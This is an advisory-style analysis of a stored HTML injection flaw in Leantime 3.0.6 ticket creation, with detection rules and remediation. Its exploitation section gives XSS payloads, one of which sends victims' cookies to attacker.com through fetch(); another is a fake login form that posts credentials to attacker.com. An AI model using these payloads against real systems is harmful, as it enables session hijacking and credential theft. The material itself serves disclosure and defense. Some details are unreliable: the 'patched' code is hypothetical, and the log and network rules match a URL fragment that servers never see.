CVE-2024-27476

Executive Summary

CVE-2024-27476 identifies a stored HTML Injection vulnerability in Leantime version 3.0.6. The flaw resides in the ticket creation functionality, specifically within the /dashboard/show#/tickets/newTicket endpoint. An authenticated attacker can inject arbitrary HTML into the ticket fields, which is then rendered in the browser of any user viewing the ticket. This can lead to phishing attacks, session hijacking, or defacement within the application context. The vulnerability is classified as a Cross-Site Scripting (XSS) variant, as HTML injection often serves as a precursor to script execution. No official patch or advisory has been released by the vendor at the time of analysis.

Supply Chain & Package Security

Leantime is a PHP-based project management application. The vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but rather to the application's core input handling. However, if Leantime is deployed via Docker or Composer, the supply chain risk is limited to the integrity of the container image or the composer.json dependencies. No malicious packages have been identified in the dependency chain for this specific CVE.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or error in the NVD data. Based on the vulnerability characteristics, a more realistic score would be:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An authenticated user is needed.
• User Interaction (UI): Required (R) – The victim must view the crafted ticket.
• Scope (S): Changed (C) – The injection impacts the browser context, not the server.
• Confidentiality (C): Low (L) – Potential for data exfiltration via injected content.
• Integrity (I): Low (L) – Injected HTML can alter the page appearance.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Estimated Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication, but the impact can be significant for internal users or if combined with social engineering.

Deep Dive & Mechanics

The vulnerability exists in the ticket creation form at /dashboard/show#/tickets/newTicket. The application fails to sanitize or encode user-supplied input in fields such as the ticket title, description, or custom fields. When a ticket is created with malicious HTML, the payload is stored in the database. Upon viewing the ticket, the HTML is rendered directly in the browser without proper escaping.

Root Cause: The application likely uses a templating engine (e.g., Twig or Blade) that does not automatically escape output, or the developer explicitly used raw output filters (e.g., |raw in Twig) on user-controlled fields.

Attack Flow:

1. Attacker authenticates to Leantime.
2. Attacker navigates to /dashboard/show#/tickets/newTicket.
3. Attacker injects HTML payload into a field (e.g., <img src=x onerror=alert(1)> or <a href=javascript:alert(1)>Click</a>).
4. Victim (another user) views the ticket.
5. The injected HTML executes in the victim's browser context.

Impact: The attacker can perform phishing (e.g., fake login forms), steal session cookies (if HttpOnly flag is missing), or deface the application.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below.

Vulnerable Code (PHP/Twig example):

// Controller
$ticket = new Ticket();
$ticket->title = $_POST['title'];
$ticket->save();

{# Template #}
<h1>{{ ticket.title | raw }}</h1>

Patched Code (Hypothetical):

// Controller
$ticket = new Ticket();
$ticket->title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$ticket->save();

{# Template #}
<h1>{{ ticket.title }}</h1>

The patch would involve removing the |raw filter or applying htmlspecialchars() before storage.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Leantime 3.0.6 instance.
• Valid user credentials.

Exploit Steps:

1. Log in to Leantime.
2. Navigate to /dashboard/show#/tickets/newTicket.
3. In the "Title" field, inject the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Submit the ticket.
5. Wait for a victim to view the ticket. The payload will execute, sending the victim's cookies to the attacker's server.

Alternative Payload (Phishing):

<form action="https://attacker.com/login" method="POST">
  <input type="text" name="username" placeholder="Username">
  <input type="password" name="password" placeholder="Password">
  <input type="submit" value="Login">
</form>

Blue Team

Detection:

• Monitor for unusual HTML tags in ticket fields (e.g., <script>, <img onerror>, <iframe>).
• Use WAF rules to block common XSS patterns in POST requests to /dashboard/show#/tickets/newTicket.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/dashboard/show#/tickets/newTicket" method=POST
| rex field=form_data "(?<payload><[^>]*on\w+=)"
| where isnotnull(payload)
| table _time, src_ip, user, payload

Lab Setup:

1. Deploy Leantime 3.0.6 using Docker:

   docker run -d -p 8080:80 leantime/leantime:3.0.6
   

2. Access http://localhost:8080 and complete the installation.
3. Create a test user and log in.
4. Use the exploit steps above to verify the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the Leantime server.
  • POST requests to /dashboard/show#/tickets/newTicket containing HTML tags like <script>, <img onerror>, or <iframe>.

• Host IOCs:

  • Database entries in the tickets table containing raw HTML in title or description fields.
  • Web server logs showing 200 OK responses to /dashboard/show#/tickets/newTicket with suspicious form data.

• File IOCs:

  • None specific to this CVE, but monitor for modified template files (e.g., .twig files) that may have been altered to remove output escaping.

Detection Engineering

YARA Rule

rule CVE_2024_27476_Leantime_HTML_Injection {
    meta:
        description = "Detects HTML injection payloads in Leantime ticket fields"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-27476"
    strings:
        $html_tag = /<[^>]*\s(on\w+\s*=|javascript\s*:)/i
        $script_tag = /<script[\s>]/i
        $iframe_tag = /<iframe[\s>]/i
    condition:
        any of them
}

Sigma Rule

title: Leantime HTML Injection via Ticket Creation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTML injection attempts in Leantime ticket creation
author: Valters IT
date: 2025/04/10
tags:
    - cve.2024.27476
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dashboard/show#/tickets/newTicket'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in ticket descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27476 Leantime HTML Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dashboard/show#/tickets/newTicket"; http_uri;
    pcre:"/<[^>]*(on\w+=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-27476;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Raw Output: If you have access to the source code, remove any |raw filters in Twig templates or apply htmlspecialchars() to user input.
2. Input Validation: Implement strict input validation on ticket fields. Reject or encode any HTML tags.
3. Content Security Policy (CSP): Add a CSP header to restrict inline scripts and external resources:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Web Application Firewall (WAF): Deploy a WAF rule to block common XSS patterns in POST requests to the vulnerable endpoint.

Long-Term Fix:

• Upgrade to a patched version of Leantime once released.
• Conduct a code review of all user input handling and output encoding.
• Implement automated security testing (SAST/DAST) in the CI/CD pipeline.

Workaround:

• If patching is not possible, restrict access to the ticket creation functionality to trusted users only.

Valters IT